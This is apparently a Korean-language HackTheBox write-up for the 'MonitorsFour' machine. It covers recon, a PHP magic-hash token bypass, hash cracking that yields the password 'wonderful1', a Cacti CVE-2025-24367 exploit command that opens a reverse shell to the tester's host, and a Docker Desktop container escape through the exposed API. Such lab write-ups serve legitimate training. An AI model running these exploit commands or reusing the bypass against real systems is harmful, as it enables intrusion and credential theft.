MonitorsFour

meowyeok

HTB|Jul 24, 2026|Last edited: Jul 24, 2026|
notion image
 

Reconnaissance

nmap -sV 10.10.11.98
notion image
 
gobuster dir -u monitorsfour.htb -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -t 60
notion image
 
./nuclei -u monitorsfour.htb
notion image
  • db connection정보가 담긴 .env 파일을 획득하였다.
  • 근데 3306포트가 열려있지도 않아서 이걸 활용하려면 ssrf형식으로 사용해야할것같다
  • 크리덴셜을 이용하는방법도 있고, 근데 여러개를 조합해봤지만 한개도 안된다.
 

Exploitation

gobuster dir -u monitorsfour.htb/admin -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -t 60
notion image
  • 확실히 admin계정을 얻어내야할거같다.
 
notion image
  • /contact쪽에서 에러가 나는데 이걸 활용해야하는건가…
 
notion image
 
notion image
  • /user 쪽에서 token 파라미터를 받고있는걸 확인할 수 있었다.
  • 하지만 내가 얻은 정보들과 여러값들을 넣어봤지만 token값은 알아낼 수 없었다.
  • 이후에 진도가 더이상 나가지 않아서 롸업을 찾아보니 php이기 때문에 /user?token=" " 부분에서 magic hash를 이용한 loose comparison이 발생한다고 한다.
    • 숫자를 표현하는 특수한 방법중 0xA, 0o1, 2e3 등 여러방법이 있는데 이때 조심해야할 부분이 지수 표현중에서 0e1234 이런식의 표현이다. (0 * 10^1234 = 0)
    • 0e로 시작하는 hash값은 무조건 0과 같다고 판별이 되기 때문이다.
    •  
notion image
  • 그래서 /user?token=0을 넣어본 결과 다음과 같은 credential을 획득 가능하였다.
     
    • ++ 추가
    • admin까지 리턴된게 의아해서 내부코드를 직접 까봤음
      • 일단 로직자체가 취약함, validate할때 한개라도 맞으면 true로 넘어가면서 모든 사용자의 정보가 나와버림, 그래서 여기서 magic hash가 한개라도 걸리면 admin까지 모든 사용자의 정보가 리턴된것
      • mysql의 특징과는 관련없음, validate 부분에서 비교할때 db단에서 하는게 아니고 php 변수로 불러와서 비교하고있기 때문에
     
    hashcat -m 0 -a 0 hashes.txt /usr/share/wordlists/rockyou.txt
    • 얻어낸 4개의 hash를 모두 md5로 크랙해보니 admin의 계정만 크랙이 되었다.
      • notion image
         
    • 그리고 Changelog 페이지를 보면 해당 서비스에 대한 업데이트 history가 존재하는데 그중 하나가 Docker Desktop 4.44.2 버전이 적용된 내용이 있었다.
      • notion image
     
    ./ffuf -c -u http://monitorsfour.htb/ -H "Host: FUZZ.monitorsfour.htb" -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt -fw 3
    • 그리고 이 문제에서는 recon시에 subdomain scan이 필요했었다. (
      SecLists
      Github
      SecLists
      Owner
      danielmiessler
      Updated
      Jul 24, 2026
      )
      • notion image
        notion image
        notion image
      • 여기서는 앞서 쓰였던 (admin / wonderful1) 크리덴셜이 재사용되는데, id가 admin은 안되고, 아까 /user?token에서 얻어내었던 admin의 이름이 id로써 로그인되는걸 확인할 수 있다. (marcus)
      • cacti
        • 네트워크 및 시스템 성능을 모니터링하는 오픈 소스 도구
        • SNMP를 기반으로 네트워크 장비, 서버, 애플리케이션 등의 성능 데이터를 수집하고, RRDTool을 사용하여 그래프 형태로 시각화
      • cacti CVE를 검색해보면 CVE-2025-24367이라는 올해 발표된 RCE 취약점을 확인할 수 있다.
     
    sudo python exploit.py -u marcus -p wonderful1 -url http://cacti.monitorsfour.htb -i 10.10.14.158 -l 4444
    notion image
    • 위와같이 exploit코드로 간단하게 리버스셸 획득이 가능하다!
    • /home/marcus에서 user flag 획득!
     

    Privilege Escalation

    • 이번엔 root를 얻어야 하는데 인스턴스 내부로 들어왔으니 앞서 봤던 Docker Desktop 버전 취약점을 이용하면 될것 같다.
    • payload를 작성해야하는데 다음의 블로그를 참고하였다.
      • Deep Dive: CVE-2025-9074 – Critical Docker Desktop Container Escape
     
    curl -s http://192.168.65.7:2375/version
    notion image
    • 일단 최상위 폴더에 .dockerenv가 있어서 현재 위치가 docker container임을 알 수 있다.
    • window문제라서 컨테이너 밖은 window일줄 알았는데 확인해보니 window위에서 돌아가는 wsl linux에서 docker가 돌아가고 있는것이었다. 그래서 일단 payload의 타겟 환경은 linux이다.
     
    notion image
    • 여기서도 한번더 리버스셸을 열어서 호스트 window의 디스크의 내용을 담은 컨테이너의 root권한획득에 성공했다!!
     
    findmnt
    notion image
    • 내부 진입후에, 호스트인 window로의 접근을 위해서 파일시스템의 마운트 경로가 필요하다.
    • 이때 findmnt 명령어를 통해 /mnt/host/c 에서 host window의 C드라이브 경로로 접근이 가능한걸 발견했다.
     
    notion image
    • root flag 획득!!
     
    Loading...